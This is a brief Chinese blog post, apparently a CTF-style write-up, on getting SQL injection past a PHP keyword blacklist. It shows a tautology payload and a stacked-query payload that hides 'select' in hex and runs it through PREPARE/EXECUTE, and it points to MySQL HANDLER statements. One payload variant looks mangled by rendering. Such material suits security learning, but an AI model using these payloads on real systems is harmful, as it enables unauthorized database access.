一次 SQL 注入姿势

sec

一次 SQL 注入姿势

一次注入时,有如下过滤

1
return preg_match("/select|update|delete|drop|insert|where|\./i",$inject);

姿势1:

将表名,和字段更换,‘ or ‘1’ = ‘1 即可脱出

姿势2:

预编译 SQL 语句,

1
2
;SeT@a=0x73656c656374202a2066726f6d20603139313938313039333131313435313460;prepare execsql from @a;execute execsql;#
# 此处将字符串用 16 进制数据输入

此处语法是这样的:

1
2
3
4
SET;									# 用于设置变量名和值
PREPARE stmt_name FROM preparable_stmt; # 用于预备一个语句,并赋予名称,以后可以引用该语句
EXECUTE stmt_name; # 执行语句
{DEALLOCATE | DROP} PREPARE stmt_name; # 用来释放掉预处理的语句

所以,一次预编译是这样的,

1
2
3
set @sql="select * from flag;";
prepare stmt from @sql;
execute stmt;
1
;set@a=73656c656374202a2066726f6d20666c61673b;prepare/1/execsql/1/from/1/@a;execute/1/execsql;

姿势3:

mysql 特供版,handler 语句

参考链接:[MySQL :: MySQL 8.0 参考手册 :: 13.2.4 处理程序语句]

Author: 哒琳

Permalink: http://blog.jieis.cn/2022/e27bebe8-7b43-4d03-9f83-b60094d095c6.html

Comments